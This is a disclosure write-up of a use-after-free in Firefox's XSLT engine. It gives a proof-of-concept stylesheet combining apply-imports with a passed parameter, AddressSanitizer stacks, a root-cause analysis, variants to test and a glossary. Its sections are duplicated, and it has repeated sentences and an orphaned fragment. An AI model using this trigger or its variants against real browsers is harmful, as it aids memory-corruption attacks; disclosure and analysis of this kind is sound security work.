UAF in nsTArray Length() during XSLT processing
Originally disclosed on Mozilla
- Fixed in 46 days
- Paid in 50 days
- Disclosed after 46 days
XPCshell PoC
Tested under xpcshell "JavaScript-C54.0a1"
[+] Relevant parts
xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' + ' <xsl:template match="*">' + ' xsl:apply-imports/' + ' <xsl:apply-templates select=".">' + ' <xsl:with-param name="whatever_1">whatever_2</xsl:with-param>' + ' </xsl:apply-templates>' + ' </xsl:template>' + '</xsl:stylesheet>'
[+] How to reproduce
$ ./poc_xslt_uaf_nsTArray_Length.js ==20267==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000334890 at pc 0x7f04c798d7b9 bp 0x7ffd20419800 sp 0x7ffd204197f8 READ of size 8 at 0x602000334890 thread T0 #0 0x7f04c798d7b8 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:515:37 #1 0x7f04c798d7b8 in next /home/worker/workspace/build/src/dom/xslt/base/txExpandedNameMap.h:68 #2 0x7f04c798d7b8 in ~txVariableMap /home/worker/workspace/build/src/dom/xslt/xslt/txVariableMap.h:42 #3 0x7f04c798d7b8 in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78 #4 0x7f04c798d7b8 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99 #5 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1 #6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 ...
0x602000334890 is located 0 bytes inside of 8-byte region [0x602000334890,0x602000334898) freed by thread T0 here: #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7f04c798c87f in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12 #2 0x7f04c798c87f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:95 #3 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1 #4 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 ...
previously allocated by thread T0 here: #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f04c79a25ff in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f04c79a25ff in txSetParam::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:761 #4 0x7f04c79fcaed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14 #5 0x7f04c79c5c18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14 #6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12 ...
Context
Mozilla's XSLT engine lives in the dom/xslt tree and is driven from JavaScript through txMozillaXSLTProcessor. When a caller asks for a transformation, TransformToDoc builds a txExecutionState, runs the compiled stylesheet through txXSLTProcessor::execute, and then tears the execution state down. The report is about a use-after-free that happens during that teardown, in nsTArray::Length(), reached from the variable map that the execution state owns.
The stylesheet that triggers it uses two instructions together: <xsl:apply-imports/> and <xsl:apply-templates> carrying an <xsl:with-param>. Passing a parameter is what causes a txSetParam instruction to run and allocate the object that is later read after being freed.
Setup
The proof of concept is an xpcshell script, run under the shell identified in the report as JavaScript-C54.0a1. It was executed as a standalone file:
$ ./poc_xslt_uaf_nsTArray_Length.js
The build under test is an AddressSanitizer build: the crash output is an ASan report, and the stack frames point at paths under /home/worker/workspace/build/src/, the build directory used for that instrumented binary. No account, role or remote service is involved; the whole thing runs locally inside the shell.
Finding it
The script builds the stylesheet as a string. The relevant part of the script builds the stylesheet as a string:
xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
' <xsl:template match="*">' +
' <xsl:apply-imports/>' +
' <xsl:apply-templates select=".">' +
' <xsl:with-param name="whatever_1">whatever_2</xsl:with-param>' +
' </xsl:apply-templates>' +
' </xsl:template>' +
'</xsl:stylesheet>'
The template matches every element. Inside it, <xsl:apply-imports/> runs first, then <xsl:apply-templates select="."> is applied to the same node with a parameter named whatever_1 whose value is the text whatever_2. The version attribute is set to 42, which is not a real XSLT version; the report presents the string as-is and does not comment on it. What matters is the combination of applying imports and then applying templates with a parameter: that is the shape that reaches the faulty teardown.
Exploitation
Step 1: run the PoC under xpcshell
Executing the script produces an AddressSanitizer heap-use-after-free report:
==20267==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000334890 at pc 0x7f04c798d7b9 bp 0x7ffd20419800 sp 0x7ffd204197f8
READ of size 8 at 0x602000334890 thread T0
#0 0x7f04c798d7b8 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:515:37
#1 0x7f04c798d7b8 in next /home/worker/workspace/build/src/dom/xslt/base/txExpandedNameMap.h:68
#2 0x7f04c798d7b8 in ~txVariableMap /home/worker/workspace/build/src/dom/xslt/xslt/txVariableMap.h:42
#3 0x7f04c798d7b8 in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78
#4 0x7f04c798d7b8 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
#5 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
#6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
...
The faulting access is a read of eight bytes inside an eight-byte heap region. The read happens in nsTArray::Length() at nsTArray.h:515, called from next in txExpandedNameMap.h:68, which is called from the txVariableMap destructor at txVariableMap.h:42. That destructor is invoked through an nsAutoPtr from txExecutionState::~txExecutionState() at txExecutionState.cpp:99, which itself runs inside txMozillaXSLTProcessor::TransformToDoc at txMozillaXSLTProcessor.cpp:701. In other words, the crash occurs while the execution state is being destroyed at the end of the transformation, not while the stylesheet is being executed.
Step 2: read the free stack
ASan then reports where the region was released:
0x602000334890 is located 0 bytes inside of 8-byte region [0x602000334890,0x602000334898)
freed by thread T0 here:
#0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7f04c798c87f in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
#2 0x7f04c798c87f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:95
#3 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
#4 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
...
The free happens in the same destructor, txExecutionState::~txExecutionState(), but at line 95 rather than line 99. So within a single destructor run, one member is released at line 95 and a later step at line 99 reads memory that belonged to it. The free happens in the same destructor, at line 95 rather than line 99.
Step 3: read the allocation stack
Finally ASan shows where the region was originally allocated:
previously allocated by thread T0 here:
#0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7f04c79a25ff in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7f04c79a25ff in txSetParam::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:761
#4 0x7f04c79fcaed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14
#5 0x7f04c79c5c18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14
#6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
...
The allocation goes through moz_xmalloc and operator new and is made by txSetParam::execute at txInstructions.cpp:761, called from txXSLTProcessor::execute at txXSLTProcessor.cpp:49, which is reached from TransformToDoc at txMozillaXSLTProcessor.cpp:676. This is the parameter passed by <xsl:with-param>: the txSetParam instruction allocates the object during execution, and the execution state's destructor later frees and then reads it.
Root cause
The three stacks line up on one object. txSetParam::execute allocates it while the stylesheet runs. When the transformation finishes, txExecutionState::~txExecutionState() frees it at line 95 and then, at line 99, walks the variable map through txExpandedNameMap::next, which calls nsTArray::Length() on the already-freed array. The destructor therefore releases a member before another member that still refers to it, so the teardown order is wrong.
The report presents the stacks as the evidence and does not explain the ownership relationship further. The report does not go further into the exact ownership relationship between the two members; it presents the stacks as the evidence.
Impact
The report describes a use-after-free in the XSLT code. The demonstrated effect is a read of eight bytes from freed heap memory during transformation teardown, caught by AddressSanitizer in an instrumented build. The report does not demonstrate code execution, does not describe a remote attack path, and does not state which products or versions beyond the tested shell are affected. Any claim beyond a memory-safety fault in XSLT processing would go past what the report shows.
Fix
The report does not describe a patch or a code change. The report itself does not state how that was resolved.
Variants to test
- Other instructions that populate the variable map during execution, combined with
<xsl:apply-imports/>and<xsl:apply-templates>, to see whether the same teardown ordering is reached. A positive result is an ASan heap-use-after-free whose free and read both sit intxExecutionState::~txExecutionState(). - Stylesheets that pass parameters at several nesting levels, so the map holds more than one entry at teardown. A positive result is the same
nsTArray::Length()read fromtxExpandedNameMap::nextduring destruction. - The same template shape without
<xsl:apply-imports/>, to establish whether applying imports is required or whether the parameter alone is enough. A positive result is the same crash; a negative result narrows the trigger to the combination.
Hunting notes
This kind of bug hides in teardown code: destructors that own several related members, where the order of release matters and the compiler will not warn. The signal in a crash report is a free and a read in the same destructor at different lines, with the allocation made earlier during normal execution. Here the allocation stack names txSetParam::execute, which tells you the object came from parameter handling, and the read stack names the variable map destructor, which tells you the map outlived what it pointed at.
: the faulting read, the free, and the allocation. The stylesheet fragment above is small enough to show exactly which instructions are needed, and the stacks tie the freed region to a specific allocation site, which is what turns a crash into a diagnosable memory-safety bug.
What happened, in plain words
A web browser can take a document and a set of instructions called a stylesheet and use them to produce a new document. In Firefox, that job is done by a part of the browser called the XSLT engine. The researcher found that, with one particular stylesheet, the XSLT code reads a small piece of memory just after it has given that memory back to the system. Reading memory that has already been released is called a use-after-free, and it is a memory-safety bug: the program is looking at something that may no longer belong to it.
The bug happens at the very end of the transformation, while the browser is tidying up, not while it is doing the actual work. The report shows this with a small test script and the output of a tool called AddressSanitizer, which watches memory and shouts when a program touches memory it has already freed.
Background you need
A few ideas come up again and again, so here they are first.
- XSLT is a language for describing how to turn one document into another. You write a stylesheet, which is itself a document, and the browser applies it to your input. Think of a recipe that says how to rearrange ingredients you already have.
- The XSLT engine is the part of the browser that reads that recipe and carries it out. In Firefox it lives in a folder called
dom/xslt. - A template is a rule inside a stylesheet that says what to do when a certain kind of element is found. It is like a line in the recipe that applies only to, say, carrots.
- A parameter is a named value you hand to a template so it can use it. It is like writing a note ("use two spoons of sugar") and passing it along with the recipe step.
- Memory allocation is the program asking the operating system for a chunk of memory to store something. Freeing is giving that chunk back when it is no longer needed. After freeing, the chunk may be reused for something else, so reading it is dangerous.
- A use-after-free is exactly that: the program frees a chunk and then reads from it anyway. The value it sees is unpredictable, and in the worst case an attacker can arrange for the reused memory to contain something they control.
- AddressSanitizer (ASan) is a debugging tool built into a special test version of the program. It keeps track of which memory is allocated and which is freed, and when the program touches freed memory it prints a detailed report and stops. The report lists three stacks (see below).
- A stack trace is a list of function calls showing how the program got to a particular point, like the "you are here" trail on a map. Each line is one function, and the top line is where the event happened.
- xpcshell is a small command-line program that runs JavaScript without a visible browser window. Mozilla uses it to test browser code in isolation. The report calls the version it used
JavaScript-C54.0a1.
Context
Mozilla's XSLT engine lives in the dom/xslt tree and is driven from JavaScript through a class called txMozillaXSLTProcessor. When a caller asks for a transformation, the method TransformToDoc builds an object called a txExecutionState, runs the compiled stylesheet through txXSLTProcessor::execute, and then tears the execution state down. The report is about a use-after-free that happens during that teardown, inside a function called nsTArray::Length(), reached from the variable map that the execution state owns.
The stylesheet that triggers it uses two instructions together: <xsl:apply-imports/> and <xsl:apply-templates> carrying an <xsl:with-param>. Passing a parameter is what causes a txSetParam instruction to run and allocate the object that is later read after being freed.
In plain words: the browser sets up a workspace for the transformation, does the work, then cleans the workspace up. The bug is in the cleanup. The stylesheet uses two features at once, and one of them (passing a parameter) creates an object that the cleanup later frees and then still tries to look at.
Setup
The proof of concept is an xpcshell script, run under the shell identified in the report as JavaScript-C54.0a1. It was executed as a standalone file:
$ ./poc_xslt_uaf_nsTArray_Length.js
This line just runs the test script from a terminal. The $ is the shell prompt, and the rest is the file name. Nothing is sent over the network and no account is needed: the whole thing runs locally inside the shell.
The build under test is an AddressSanitizer build: the crash output is an ASan report, and the stack frames point at paths under /home/worker/workspace/build/src/, the build directory used for that instrumented binary. An instrumented build is a special version of the program compiled with the memory checker switched on, so that mistakes like this one are caught and described instead of silently causing strange behaviour.
Finding it
The script builds the stylesheet as a string. The relevant part of the script builds the stylesheet as a string:
xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
' <xsl:template match="*">' +
' <xsl:apply-imports/>' +
' <xsl:apply-templates select=".">' +
' <xsl:with-param name="whatever_1">whatever_2</xsl:with-param>' +
' </xsl:apply-templates>' +
' </xsl:template>' +
'</xsl:stylesheet>'
Line by line:
xsl_str = ...stores the stylesheet text in a JavaScript variable. The+signs glue the pieces together into one long string.- The first piece opens the stylesheet and declares the
xslprefix, which is the standard way to say "the following tags are XSLT instructions". Theversionattribute is set to42, which is not a real XSLT version; the report presents the string as-is and does not comment on it. <xsl:template match="*">starts a template. Thematch="*"means it applies to every element.<xsl:apply-imports/>tells the engine to also run any templates that were imported from other stylesheets. It runs first.<xsl:apply-templates select=".">tells the engine to apply templates to the current node (.means "here").<xsl:with-param name="whatever_1">whatever_2</xsl:with-param>passes a parameter namedwhatever_1with the text valuewhatever_2to that template call. This is the part that creates the object involved in the bug.- The closing tags end the template and the stylesheet.
What matters is the combination of applying imports and then applying templates with a parameter: that is the shape that reaches the faulty teardown.
Exploitation
Step 1: run the PoC under xpcshell
Executing the script produces an AddressSanitizer heap-use-after-free report:
==20267==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000334890 at pc 0x7f04c798d7b9 bp 0x7ffd20419800 sp 0x7ffd204197f8
READ of size 8 at 0x602000334890 thread T0
#0 0x7f04c798d7b8 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:515:37
#1 0x7f04c798d7b8 in next /home/worker/workspace/build/src/dom/xslt/base/txExpandedNameMap.h:68
#2 0x7f04c798d7b8 in ~txVariableMap /home/worker/workspace/build/src/dom/xslt/xslt/txVariableMap.h:42
#3 0x7f04c798d7b8 in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78
#4 0x7f04c798d7b8 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
#5 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
#6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
...
How to read this:
- The first line says ASan caught a heap-use-after-free at a particular memory address.
READ of size 8means the program tried to read eight bytes. - The numbered lines are the stack trace, from the innermost call (
#0) outwards.#0isnsTArray::Length()atnsTArray.h:515, which is the function that actually touched the freed memory.nsTArrayis a growable array type used throughout Firefox;Length()simply asks how many items the array holds. #1isnextintxExpandedNameMap.h:68, a function that walks through a map of names. It callsLength().#2is the destructor oftxVariableMap(the~prefix means destructor, the cleanup function that runs when an object is destroyed). The variable map is the structure that holds parameters during a transformation.#3is the destructor ofnsAutoPtr, a small wrapper that owns a pointer and frees it when it goes away.#4istxExecutionState::~txExecutionState()at line 99, the cleanup of the whole transformation workspace.#5and#6are the higher-level calls that started the transformation.
In other words, the crash occurs while the execution state is being destroyed at the end of the transformation, not while the stylesheet is being executed. The faulting access is a read of eight bytes inside an eight-byte heap region.
Step 2: read the free stack
ASan then reports where the region was released:
0x602000334890 is located 0 bytes inside of 8-byte region [0x602000334890,0x602000334898)
freed by thread T0 here:
#0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7f04c798c87f in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
#2 0x7f04c798c87f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:95
#3 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
#4 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
...
This second stack answers the question "who let go of this memory?". The free happens in the same destructor, txExecutionState::~txExecutionState(), but at line 95 rather than line 99. So within a single destructor run, one member is released at line 95 and a later step at line 99 reads memory that belonged to it. The free happens in the same destructor, at line 95 rather than line 99.
Step 3: read the allocation stack
Finally ASan shows where the region was originally allocated:
previously allocated by thread T0 here:
#0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7f04c79a25ff in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7f04c79a25ff in txSetParam::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:761
#4 0x7f04c79fcaed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14
#5 0x7f04c79c5c18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14
#6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
...
This third stack answers "where did this memory come from in the first place?". The allocation goes through moz_xmalloc and operator new (two layers of Firefox's memory helpers) and is made by txSetParam::execute at txInstructions.cpp:761, called from txXSLTProcessor::execute at txXSLTProcessor.cpp:49, which is reached from TransformToDoc at txMozillaXSLTProcessor.cpp:676. This is the parameter passed by <xsl:with-param>: the txSetParam instruction allocates the object during execution, and the execution state's destructor later frees and then reads it.
Root cause
The three stacks line up on one object. txSetParam::execute allocates it while the stylesheet runs. When the transformation finishes, txExecutionState::~txExecutionState() frees it at line 95 and then, at line 99, walks the variable map through txExpandedNameMap::next, which calls nsTArray::Length() on the already-freed array. The destructor therefore releases a member before another member that still refers to it, so the teardown order is wrong.
A simple comparison: imagine packing a box where you first throw away the list of what is inside, then try to read the list to check the box is empty. The list is gone, but you still reach for it. Here the "list" is the variable map and the "box" is the execution state.
The report presents the stacks as the evidence and does not explain the ownership relationship further. The report does not go further into the exact ownership relationship between the two members; it presents the stacks as the evidence.
Impact
The report describes a use-after-free in the XSLT code. The demonstrated effect is a read of eight bytes from freed heap memory during transformation teardown, caught by AddressSanitizer in an instrumented build. The report does not demonstrate code execution, does not describe a remote attack path, and does not state which products or versions beyond the tested shell are affected. Any claim beyond a memory-safety fault in XSLT processing would go past what the report shows.
Fix
The report does not describe a patch or a code change. The report itself does not state how that was resolved.
Variants to test
- Other instructions that populate the variable map during execution, combined with
<xsl:apply-imports/>and<xsl:apply-templates>, to see whether the same teardown ordering is reached. A positive result is an ASan heap-use-after-free whose free and read both sit intxExecutionState::~txExecutionState(). - Stylesheets that pass parameters at several nesting levels, so the map holds more than one entry at teardown. A positive result is the same
nsTArray::Length()read fromtxExpandedNameMap::nextduring destruction. - The same template shape without
<xsl:apply-imports/>, to establish whether applying imports is required or whether the parameter alone is enough. A positive result is the same crash; a negative result narrows the trigger to the combination.
Hunting notes
This kind of bug hides in teardown code: destructors that own several related members, where the order of release matters and the compiler will not warn. The signal in a crash report is a free and a read in the same destructor at different lines, with the allocation made earlier during normal execution. Here the allocation stack names txSetParam::execute, which tells you the object came from parameter handling, and the read stack names the variable map destructor, which tells you the map outlived what it pointed at.
: the faulting read, the free, and the allocation. The stylesheet fragment above is small enough to show exactly which instructions are needed, and the stacks tie the freed region to a specific allocation site, which is what turns a crash into a diagnosable memory-safety bug.
Glossary
- AddressSanitizer (ASan): a debugging tool built into a special test build of a program that detects and reports memory errors such as reading freed memory.
- Allocation: the act of asking the operating system for a chunk of memory to store data.
- Destructor: the cleanup function that runs automatically when an object is destroyed; in C++ its name starts with
~. - Free: giving a chunk of memory back to the system when it is no longer needed.
- Heap: the area of memory where a program stores data it allocates and frees at runtime.
- Instrumented build: a version of a program compiled with extra checking code (such as ASan) added.
- Memory-safety bug: a mistake where a program reads or writes memory it should not, such as after freeing it or outside its bounds.
- moz_xmalloc: a Firefox wrapper around the standard C memory allocation function.
- nsAutoPtr: a small Firefox helper that owns a pointer and frees it automatically when it goes out of scope.
- nsTArray: a growable array type used throughout Firefox;
Length()returns how many items it holds. - operator new / operator delete: the C++ operators that allocate and release memory for objects.
- Parameter: a named value passed to a template so it can use it.
- Proof of concept (PoC): a small script or program that reliably demonstrates a bug.
- Stack trace: a list of function calls showing how the program reached a particular point, innermost call first.
- Stylesheet: a document written in XSLT that describes how to transform another document.
- Template: a rule in a stylesheet that says what to do when a certain kind of element is found.
- Teardown: the cleanup phase at the end of an operation, where objects are destroyed and memory released.
- txExecutionState: the object that holds the workspace for one XSLT transformation.
- txMozillaXSLTProcessor: the Firefox class that connects JavaScript calls to the XSLT engine.
- txSetParam: the internal instruction that runs when a parameter is passed to a template.
- txVariableMap: the structure that holds parameters during a transformation.
- Use-after-free (UAF): a bug where a program reads or writes memory after it has been freed.
- XSLT: a language for describing how to transform one document into another.
- xpcshell: a command-line program that runs JavaScript without a visible browser window, used by Mozilla for testing.